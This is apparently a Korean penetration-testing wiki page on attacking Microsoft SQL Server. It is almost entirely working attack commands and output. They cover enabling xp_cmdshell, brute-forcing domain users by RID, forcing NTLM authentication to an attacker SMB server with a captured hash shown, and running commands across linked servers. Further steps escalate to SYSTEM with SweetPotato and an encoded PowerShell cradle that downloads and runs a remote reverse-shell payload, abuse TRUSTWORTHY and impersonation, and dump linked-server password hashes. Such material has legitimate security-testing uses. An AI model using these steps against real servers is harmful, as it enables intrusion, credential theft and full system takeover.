MSSQL에서 제공하는 프로시저 중, xp_cmdshell은 사용자가 MSSQL 콘솔에서 Windows 명령을 실행할 수 있는 기능입니다. 해당 프로시저를 사용하거나 활성화 하는데는 권한이 요구될 수 있습니다. 먼저 프로시저의 활성화 여부를 체크한 후, 활성화가 가능하다면 활성화를 합니다.
# 활성화 여부 확인
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
# 활성화
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# 원격 명령 실행
EXEC xp_cmdshell 'whoami';
# 환경 되돌리기
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'Show Advanced Options', 0; RECONFIGURE;
Enumeration
프로시저를 사용할 권한은 있지만 xp_cmdshell 사용이 불가능할 경우 다른 프로시저를 사용하거나 정보 수집으로 넘어갈 수 있습니다.
# 사용 가능한 모든 프로시저 열거
SELECT name FROM dbo.sysobjects WHERE name like 'xp%'
# 디렉토리 하위 목록 나열
xp_dirtree <path>
# MSSQL에 존재하는 모든 로그인 계정 출력
SELECT r.name, r.type_desc, r.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin FROM master.sys.server_principals r LEFT JOIN master.sys.syslogins sl ON sl.sid = r.sid WHERE r.type IN ('S','E','X','U','G');
xp_dirtree, xp_makecab 프로시저가 활성화 되어있지만 커맨드 쉘을 연결하기 위한 xp_cmdshell을 사용할 수 없는 상태에서는 서버에서 탈취하고자 하는 파일을 xp_makecab을 사용하여 압축한 뒤, 그것을 웹 디렉토리에 업로드하여 브라우저를 통해 접근함으로써 파일을 탈취할 수 있습니다. 브라우저는 접속한 경로의 파일이 압축 형태일 경우 기본적으로 다운로드 하는 성질이 있기 때문입니다.
만약 대상 환경이 Active Directory이면서 MSSQL 로그인 계정에 도메인 사용자 계정을 명시적으로 등록한 경우, 사용자 이름 열거에선 대상의 SID가 출력됩니다. 도메인 사용자가 등록되어 있을 경우, 이를 통해 정보 수집이 가능합니다.
# Domain Administrator SID 획득
MSSQL > select sys.fn_varbintohexstr(SUSER_SID('<Domain>\Administrator'))
# python으로 코드 제작 후 파일로 저장
for i in range(500, 10000 + 1, 1):
print(f"select (SUSER_SNAME(SID_BINARY(N'<SID>-{i}')))")
# impacket의 file 플래그를 사용하여 쿼리 자동 삽입 후 도메인 유저 결과 저장
impacket-mssqlclient <User@IP> -file rids.txt | tee result.txt
# result.txt에서 유효한 도메인 유저 목록만 추출
cat result.txt | grep --text -i <Domain> | cut -d '\' -f 2 > DomainUsers.txt
Steal NTLM Response
xp_dirtree는 Windows 로컬의 파일을 탐색하는 명령입니다. 파일 탐색기에서 \\<IP>\share 와 같이 특정 IP의 SMB 쉐어 포맷을 입력하게 되면 해당 주소가 SMB 서버인지 확인하기 위해서 Windows는 주소에 연결을 시도합니다. 연결을 하는 과정에서 SMB 서버가 NTLM 인증을 요구하면 클라이언트는 현재 사용자의 자격증명을 사용한 응답을 하게 되는데, 이때 서버로 전송하는 NT Hash로 암호화된 챌린지에 대한 응답을 통해 해쉬 크래킹을 시도 할 수 있습니다. 먼저 Kali 환경에서 SMB 서버를 활성화 합니다.
# SMB 서버 실행
└─# impacket-smbserver share . -smb2support
# MSSQL 콘솔에서 공격자 SMB로 접근
SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.25\share
# NTLM 확인
...
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:cc211f663243fabefad05e5eb66e612e:0101000000000000003469c5af38db01a2ee1a1d69e3619300000000010010005600540071006400610066006b004900030010005600540071006400610066006b004900020010006b0055006e00510064006e0075006400040010006b0055006e00510064006e007500640007000800003469c5af38db01060004000200000008003000300000000000000000000000003000005555c07756eeb0101e374b063fa214d2e03534e9eb2cccf1b04cd95decc97b6c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320035000000000000000000
[*] Closing down connection (10.10.11.202,50625)
[*] Remaining connections []
Lateral Movement
MSSQL에는 링크라는 개념이 있습니다. 이를 통해 하나의 데이터베이스 인스턴스가 외부 소스의 데이터에 접근할 수 있습니다. 현재 인스턴스가 보유한 링크를 확인하려면 아래 명령을 사용합니다.
# 링크 목록 열거
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
링크된 데이터베이스 간은 데이터에 접근할 수 있다고 언급했던 것처럼 쿼리 실행 역시 원격에서 가능합니다. 원격 쿼리 실행에는 OpenQuery와 SQLRecon 사용이 가능합니다.
# 원격 쿼리 실행
SELECT * FROM OPENQUERY("sql-1.pentest.wiki", 'select @@servername');
SQLRecon에서 링크된 데이터베이스에 원격 쿼리를 실행할 땐 /m 플래그 값 앞에 l을 붙입니다. 이때 붙인 l은 링크할 데이터베이스를 의미하며 /l 플래그를 통해서 어떤 링크를 선택할지 지정합니다.
링크된 데이터베이스로의 원격 쿼리 실행에서도 xp_cmdshell을 사용하여 측면 이동 및 제어권 획득이 가능합니다. 하지만 xp_cmdshell이 비활성화 되어있을 때 앞서 설명한 방법과 동일하게 활성화 할 수는 없습니다. 그러나 링크에서 RPC Out이 활성화되어 있다면 다음 구문을 사용하여 프로시저를 활성화 할 수 있습니다.
# xp_cmdshell 프로시저 활성화
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.pentest.wiki]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.pentest.wiki]
# 링크 데이터베이스 서버로의 원격 명령 실행
EXEC('xp_cmdshell ''whoami''') AT [sql-1.pentest.wiki]
현재는 SQL-2와 SQL-1이 링크된 상황이지만, SQL-1에 추가적인 링크가 존재할 수도 있습니다. 이럴 경우 PowerUpSQL의 Get-SQLServerLinkCrawl을 사용하여 모든 목록을 열거할 수 있습니다.
# SQL 인스턴스 정보 크롤링
Get-SQLServerLinkCrawl -Instance "sql-2.pentest.wiki,1433"
Privilege Escalation
SeImpersonatePrivilege
최신 MSSQL 설치 시 인스턴스는 NT Service\MSSQLSERVER 로 실행되며 이는 기본값입니다. 이 계정은 SeImpersonatePrivilege 권한을 갖고 있는데, 이것은 클라이언트를 가장할 수 있는 권한입니다. 대표적인 공격 중에는 SweetPotato를 통한 System 권한 탈취가 있습니다.
# 페이로드 주소를 Base64 인코딩
$str = 'IEX ((new-object net.webclient).downloadstring("http://wiki.com/reverse"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
# Base64 인코딩 된 스크립트를 삽입하여 System 권한으로 실행
.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <Base64 Encoded Command>"
TRUSTWORTHY
# 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
SELECT name, is_trustworthy_on FROM sys.databases;
# 가장할 수 있는 사용자 목록 열거
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';
# 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
SELECT IS_ROLEMEMBER('db_owner');
# vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
# pentest 사용자 세션으로 돌아와서 권한 정보 확인
REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');
# pentest 사용자 권한 되돌리기
EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';
MSSQL에서는 현재 사용자 세션에서 다른 사용자의 세션을 가장할 수 있는 기능이 존재합니다. EXECUTE AS 명령어를 통해 가장이 가능하며, 이때 변경된 사용자 세션은 REVERT 명령어를 사용하여 명시적으로 전환하기 전까지 이어집니다. MSSQL 콘솔에서 가장할 수 있는 사용자 목록을 조회했을 때는 현재 사용자 세션 권한으로 가장이 가능한 사용자만 출력됩니다.
# 가장이 가능한 사용자 목록 열거
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';
# 사용자로 가장
EXECUTE AS LOGIN = 'sa';
Decrypting Linked Server Passwords
# 다른 사용자가 DAC 연결을 수립했는지 점검
SELECT * FROM sys.dm_exec_sessions WHERE endpoint_id = 1
# 연결된 서버와 유저 이름, 암호화된 비밀번호 열거
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash FROM master.sys.syslnklgns INNER JOIN master.sys.sysservers ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;
# SMK 열거
SELECT * FROM sys.key_encryptions;